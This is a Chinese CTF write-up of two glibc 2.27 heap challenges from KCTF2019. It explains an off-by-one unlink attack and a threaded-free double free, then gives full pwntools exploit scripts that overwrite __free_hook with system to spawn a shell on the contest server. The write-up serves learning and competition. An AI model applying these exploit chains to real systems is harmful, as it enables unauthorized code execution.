KCTF2019 Q2部分pwn题

临时被拉去了看雪CTF,做出了两道pwn题目,记录一下。

沉睡的敦煌–pwn

做的时候有点坑啊,最初这道题目的edit次数最多为2次,做出来了之后远程一直打不通,后来才知道出题人又改成了1次。

题目描述

这道题目有4个功能,malloc、free、edit和show。libc是2.27,有tcache。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 menu()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
puts("1.malloc");
puts("2.free");
puts("3.edit");
puts("4.show");
return __readfsqword(0x28u) ^ v0;
}

题目限制还挺多的,首先malloc功能中最多申请31个块,题目开始申请了一个0x30的块,后续堆块的申请地址范围必须在该堆块+0x800的范围内,这意味着后续想要分配到malloc_hook-0x23处时需要修改bss段上存储这个堆地址的地方。
edit功能里仅允许edit一次,其实只要edit_num不为1就可以,可以利用仅仅一次的edit想办法将edit_num改大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
void *v0; // ST10_8
int idx; // [rsp+Ch] [rbp-14h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
if ( edit_num == 1 ) //here
exit(0);
puts("index:");
idx = my_atoi();
if ( idx < 0 || idx > 31 || !heap_list[idx] )
exit(0);
puts("content:");
v0 = heap_list[idx];
read(0, heap_list[idx], 0x28uLL);
++edit_num;
return __readfsqword(0x28u) ^ v3;
}

show功能里show_flag开始为0,当它非0时才能进行show。地址泄露瘴气氨也要把它改大。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( show_flag ) //here
{
puts("index:");
v1 = my_atoi();
if ( v1 < 0 || v1 > 31 || !heap_list[v1] )
exit(0);
puts((const char *)heap_list[v1]);
}
else
{
puts("only admin can use");
}
return __readfsqword(0x28u) ^ v2;
}

题目漏洞 & 利用过程

在add函数里,堆块的大小限制在0x28,但是在输入content时多读了一个字节,有off-by-one的漏洞。有off-by-one加tcache就可以double free了。
每次分配后会print分配的堆地址,堆地址就知道了。
因为我们需要泄露地址,肯定要把show_flag改掉,地址为0x00404188;edit功能只有一次,限制太多,也要改掉,地址为0x0040418C;如果要劫持fastbin,那么每次分配堆的地址检查也要改掉才行,地址为0x00404060。这里利用思路想到了unlink,因此的确bss段上有分配的堆地址,可以通过unlink的检查:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

这里离show_flag和edit_num最近的我们可控的地址就是chunk idx31,bss段上存储该堆块地址的是0x00404178。unlink可以将该地址改为0x00404178-0x18=0x00404160。由于堆块大小为0x30,edit的区域只有0x28,0x00404160+0x28=0x00404188,正好不能修改show_flag和edit_num。但是可以利用off-by-one再次进行unlink,将存储堆地址限制的地方0x00404060修改为0x00404060-0x18=0x00404048。从而劫持队到bss段上。因此利用思路如下:

1
2
3
4
5
6
7
8
1.在0x00404178对应的堆块处进行unlink,将0x00404178修改为0x00404160。
2.在0x00404060处对应的堆块处进行unlink,将0x00404060修改为0x00404048。
3.利用仅有一次的edit功能在0x00404160处伪造堆块,并释放至tcache(提前做好tcache 0x30的填充,因为double free一次后tcache
数量变成了-1,也就是255,再释放直接进入fastbin,可以提前释放几个块,只要不让它的数量减为-1就可以)。
4.申请bss段上伪造的堆块,并进行show_flag和edit_num的修改。
5.利用show功能泄露libc。
6.double free将free_hook修改为system函数地址
7.释放一个"/bin/sh\x00"的堆块,get shell。

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *

#context.update(arch='amd64',os='linux',log_level="DEBUG")
context.log_level = "debug"
context.terminal = ["tmux","split","-h"]


def add(idx,data):
p.sendline('1')
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("gift: ")
heap_ptr = int(p.recvline(),16)
p.recvuntil("content:")
p.send(data)
return heap_ptr


def delete(idx):
p.sendline('2')
p.recvuntil("index:\n")
p.sendline(str(idx))


def edit(idx,data):
p.sendline('3')
p.recvuntil("index:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(data)

def show(idx):
p.sendline('4')
p.recvuntil("index:\n")
p.sendline(str(idx))

DEBUG = 1
if DEBUG:
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("152.136.18.34",10001)
libc = ELF("./libc-2.27.so")


##0~13
for i in range(0,14,2):
add(i,'a'*0x10)
add(i+1,'a'*0x10)
delete(i)
add(i,'a'*0x28+'\x91')
delete(i+1)


add(14,'0000')
add(15,'1111')
add(16,'2222')
add(17,'3333')
add(18,"4444")
add(19,p64(0x30))
add(20,"6666")

##unlink
delete(16)
payload = p64(0)+p64(0x21)
payload += p64(0x404178-0x18)+p64(0x404178-0x10)
payload += p64(0x20) + '\x90'
heap_ptr = add(31,payload)
print hex(heap_ptr)
heap_base = heap_ptr - 0x5a0
delete(17)



##double free
add(17,'\n')
add(21,'\n')
add(22,'\n') #22==18


##fill tcache
delete(0)
delete(2)
delete(4)

delete(22)
delete(18)
add(18,p64(0)+p64(0x31)+p64(heap_base+0x260))
add(22,'\n')


##unlink
add(23,p64(0)+p64(0x21)+p64(0x404060-0x18)+p64(0x404060-0x10)+p64(0x20))
delete(14)
add(14,p64(0)*4+p64(0x300)+'\x90')
delete(15)


##edit edit_num and show_flag
edit(31,p64(0x404060)+p64(0x31)+p64(0)+p64(0x404170))
delete(31)
add(31,p64(0x404180)+p64(0x31))
delete(30)
add(30,p64(0)+p32(1)+p32(3))


##leak libc
edit(28,p64(0x404048)+p64(0)*3+p64(heap_base+0x640))
show(0)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "leak_addr:",hex(leak_addr)
print "libc_base:",hex(libc_base)

free_hook = libc.symbols["__free_hook"] + libc_base
one_gadget = libc_base + 0x4f322
system_addr = libc_base + libc.symbols["system"]

##double free
delete(22)
delete(18)
edit(28,p64(heap_base+0x250))
add(18,p64(0)+p64(0x31)+p64(free_hook))
add(22,"/bin/sh\x00")
edit(28,p64(free_hook-0x100))
add(27,p64(system_addr))

##trigger
delete(22)

p.interactive()

绝地逃生–fastheap

做出这道题真的是靠的运气。

题目描述

这道题目也是传统的菜单题目,有三个功能,add、fast free和show功能。libc是2.27,有tcache。

1
2
3
4
5
6
$ ./fastheap 
1. malloc
2. fast free
3. puts
4. exit
>>>

其中malloc功能虽然对堆块的数量没有明确的限制,但是因为堆块的索引是unsigned __int8类型,因此堆块的所以范围为0-255,因此最多可以申请256个堆块。size的类型同样也是unsigned __int8类型,因此输入的size最大为0xff,堆块大小最大为0x110。在bss段有一个全局的heap_lis保存堆块的地址。接受用户输入的read函数很严格,没有常见的off-by-one的漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
signed __int64 add()
{
__int64 idx; // rbx
size_t size; // rbp
signed __int64 result; // rax
unsigned __int64 v3; // rt1
unsigned __int64 v4; // [rsp+8h] [rbp-20h]

v4 = __readfsqword(0x28u);
_printf_chk(1LL, "Index: ");
idx = (unsigned __int8)my_atoi();
if ( heap_list[idx] )
exit(-1);
_printf_chk(1LL, "Size: ");
size = (unsigned __int8)my_atoi();
heap_list[idx] = check(size);
_printf_chk(1LL, "Contents: ");
if ( !size )
return __readfsqword(0x28u) ^ v4;
v3 = __readfsqword(0x28u);
result = v3 ^ v4;
if ( v3 == v4 )
result = my_read(heap_list[idx], size);
return result;
}

fast free要求输入一个索引范围,然后创建线程来进行堆块的释放,用户可以控制线程的数量,最多为8个,释放后清空bss段对应的堆指针,如果线程为0就不会释放直接清空heap_list。
在start_routine中有这么一段代码来保证只有一个线程对指定堆块进行释放。start_routine传入的参数是a1是end_index,a1+8正好是start_index的位置,在汇编中lock xadd是交换两个操作数的值,然后相加,结果就是start_index++,在if比较里面a1是end_index,v2是自增后的start_indx,当start_index>=end_index时,线程退出。因为每次start_index++是一个原子操作,从而保证只有一个线程对堆块进行释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+0h] [rbp-28h]

while ( 1 )
{
v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u);
if ( *(_QWORD *)a1 <= v2 )
break;
if ( !heap_list[v2] )
exit(-1);
free((void *)heap_list[v2]);
}
return 0LL;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:0000000000000C6F loc_C6F:                                ; CODE XREF: start_routine+1D↑j
.text:0000000000000C6F mov eax, 1
.text:0000000000000C74 lock xadd [rbx], al //交换操作数,相加,start_index++
.text:0000000000000C78 movzx eax, al
.text:0000000000000C7B mov [rsp+28h+var_28], rax
.text:0000000000000C7F mov rax, [rsp+28h+var_28]
.text:0000000000000C83 cmp [rbp+0], rax //比较end_index和未加1的start_index
.text:0000000000000C87 ja short loc_C50 //当start_index < end_index时才进行free
.text:0000000000000C89 xor eax, eax
.text:0000000000000C8B mov rcx, [rsp+28h+var_20]
.text:0000000000000C90 xor rcx, fs:28h
.text:0000000000000C99 jnz short loc_CAC
.text:0000000000000C9B add rsp, 18h
.text:0000000000000C9F pop rbx
.text:0000000000000CA0 pop rbp
.text:0000000000000CA1 retn

这样保证只有一个线程会释放指定的堆块。不会导致双重释放(开始是这样认为的,但是后来的确出现了double free…)
show函数会判断对应的heap_list是否非空,不能UAF。

线程堆

这里涉及到了线程堆的知识,第一次遇到这种题目,这次还是主进程分配,线程释放堆块。ptmalloc使用mmap()函数为线程创建自己的非主分配区来模拟堆(sub_heap),当该sub_heap用完之后,会再使用mmap()分配一块新的内存块作为sub_heap。当进程中有多个线程时,一定也有多个分配区,但是每个分配区都有可能被多个线程使用。具体关于线程堆的知识可以看这篇博客
另外这道题目有一个至今没有明白的点,当线程释放完指定堆块还没有退出时,堆块是进入了进程的tcache,但是当线程退出后,这个堆块就进入了主进程的对应的fastbin。比如,申请一个0x70和0x30的堆块,释放idx0,释放之前堆块的状态:

1
2
3
4
5
gdb-peda$ parseheap 
addr prev size status fd bk
0x55c118339000 0x0 0x250 Used None None
0x55c118339250 0x0 0x70 Used None None
0x55c1183392c0 0x0 0x30 Used None None

释放idx0,workers=1,在free下断点,finish完成后堆块进线程的tcache。
1
线程退出后,该堆块在fastbin中:
2
对线程堆的知识了解太少了,不知道是什么原因,猜测是因为线程的非主分配区复用导致的。希望可以看其他大佬的wp学习一波。

题目漏洞(更新)

看了其他选手的wp,知道了漏洞点原来还是在start_routine中,有整数溢出,虽然使用原子操作不会导致两个线程同时释放一个chunk,但是因为_InterlockedExchangeAdd8的返回值为unsigned int8类型,就是将加1后的start_index转化为unsigned int8类型。当释放的chunk为255时,当一个线程释放完idx255后,start_index=255<=end_index,这个线程退出,但是当进入另外一个线程时,start_index++变为0,0是要比end_index小的,这就导致该线程又从0到255将该chunk释放一遍,导致了double free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *__fastcall start_routine(void *a1)
{
unsigned __int64 v2; // [rsp+0h] [rbp-28h]

while ( 1 )
{
v2 = (unsigned __int8)_InterlockedExchangeAdd8((volatile signed __int8 *)a1 + 8, 1u);
if ( *(_QWORD *)a1 <= v2 )
break;
if ( !heap_list[v2] )
exit(-1);
free((void *)heap_list[v2]);
}
return 0LL;
}

利用过程

由于有tcache,只要能构造出double free,由于tcache在分配时没有对tcache链中的chunk进行size的检查,所以就可以fd指向malloc_hook或free_hook。但这道题目堆heap_list进行了清空,不能double free。但是感觉线程这里肯定有问题,在和队友的多次尝试后发现创建多个堆块,然后都释放掉,竟然出现了double free:
3

1
2
3
for i in range(250):
add(i,0x60,'aaaa\n')
delete(0,250,8)

出现了double free应该就能利用了吧,但是还缺少libc。本来想着先在申请这250个堆块之前先申请两个堆块(大小分别为0x70和0xa0)试一下,想办法泄露libc,但是发现没有对这两个块进行释放,free完那250个堆块后,0x70的堆块idx0进入了fastbin,0xb0的堆块idx1进入了unsortedbin了。这…利用条件都具备了,直接show(1)就可以泄露libc。
4

1
2
3
4
5
6
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

for i in range(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)

但是当试图再次申请tcache里的这250个堆块时,发现只要申请到第248个堆块时,bins的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x5555557576f0 --> 0x555555757680 --> 0x555555757610 --> 0x555555757370 --> 0x7ffff7bb0c0d (size error (0x78)) --> 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

再试图分配第249个块时,就直接越过了fastbin里的前5个chunk,去分配0xfff785c410000000这个堆块,前5个堆块进入了tcache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0xfff785c410000000 (invaild memory)
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](4): 0x7ffff7bb0c1d --> 0x555555757380 --> 0x555555757620 --> 0x555555757690
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

没法利用这250个堆块的double free,但是可以利用前2个堆块未释放就进入unsorted bin的状态进行double free。

首先申请两个堆块和250个堆块,释放250个,起7个线程,idx0进入fastbin中,idx1进入unsortedbin中。show(1)泄露libc。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

for i in range(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)

#gdb.attach(p)
show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4f322
system_addr = libc_base + libc.symbols["system"]

此时bins的分布如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x555555757370 --> ...-> 0x555555757370 (overlap chunk with 0x555555757370(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

当再次分配0x60的堆块时,会先从unsorted bin中取出堆块,再从fastbin中分配,idx0和idx2的地址相同,可以进行double free。

1
2
add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')

查看heap_list如下:

1
2
3
4
5
gdb-peda$ x /8gx 0x0000555555554000+0x202060
0x555555756060: 0x0000555555757260 0x00005555557572d0
0x555555756070: 0x0000555555757260 0x000055555575e070
0x555555756080: 0x0000000000000000 0x0000000000000000
0x555555756090: 0x0000000000000000 0x0000000000000000

后面就是double free,但是在double free时,tcache 0x70中又出现了6个堆块,就很神奇,要先把tcache清空之后才能分配fastbin里的堆块。

1
2
3
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)

tcache 0x70中有6个堆块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757250 --> 0x55555575e060 --> 0x555555757250 (overlap chunk with 0x555555757250(freed) )
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x55555575e8b0 (size : 0x19750)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x5555557572c0 (size : 0xb0)
(0x70) tcache_entry[5](6): 0x5555557575b0 --> 0x555555757540 --> 0x5555557574d0 --> 0x555555757460 --> 0x5555557573f0 --> 0x555555757380
(0x120) tcache_entry[16](3): 0x55555575e320 --> 0x55555575e200 --> 0x55555575e0e0

最后修改free_hook为system,释放一个写有”/bin/sh\x00”的块,这里再修改地址完成之后,是手动输入进行堆块idx11的删除触发system(“/bin/sh”)的,最后get shell。因为在tcache清空之后,fastbin的堆块进入了tcache中,因此free_hook才能避过fastbin中size的检查,分配并修改成功。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *


context.log_level = "debug"
context.terminal = ["tmux","split","-h"]

DEBUG = 0

if DEBUG:
p = process("./fastheap")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("152.136.18.34",10000)
libc = ELF("./libc-2.27.so")


def add(idx,size,content):
p.recvuntil(">>> ")
p.sendline('1')
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Contents: ")
p.send(content)


def delete(start,end,worker):
p.recvuntil(">>> ")
p.sendline('2')
p.recvuntil("Index range: ")
p.sendline(str(start)+'-'+str(end))
p.recvuntil("Number of workers: ")
p.sendline(str(worker))

def show(idx):
p.recvuntil(">>> ")
p.sendline('3')
p.recvuntil("Index: ")
p.sendline(str(idx))



add(0,0x60,'aaaa\n')
add(1,0xa0,'aaaa\n')

for i in range(250):
add(i+2,0x60,'aaaa\n')
delete(2,252,7)


#gdb.attach(p)

show(1)
leak_addr = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))
libc_base = leak_addr - libc.symbols["__malloc_hook"] - 0x70
print "libc_base:",hex(libc_base)
malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0x4f322
free_hook = libc_base + libc.symbols["__free_hook"]
system_addr = libc_base + libc.symbols["system"]

add(2,0x60,'aaaa\n')
add(3,0x60,'aaaa\n')

##double free
delete(0,1,1)
delete(3,4,1)
delete(2,3,1)

##empty tcache
for i in range(6):
add(i+2,0x60,p64(malloc_hook-0x23)+'\n')

##free_hook->system
add(9,0x60,p64(free_hook)+'\n')
add(10,0x60,p64(free_hook)+'\n')
add(11,0x60,"/bin/sh\x00"+'\n')
add(12,0x60,p64(system_addr))

##manual trigger
delete(11,12,1)

p.interactive()

参考

http://p4nda.top/2018/03/15/n1ctf2018/

https://veritas501.space/2018/03/28/%E4%B8%A4%E6%AC%A1CTF%E6%AF%94%E8%B5%9B%E6%80%BB%E7%BB%93/

https://bbs.pediy.com/thread-252168.htm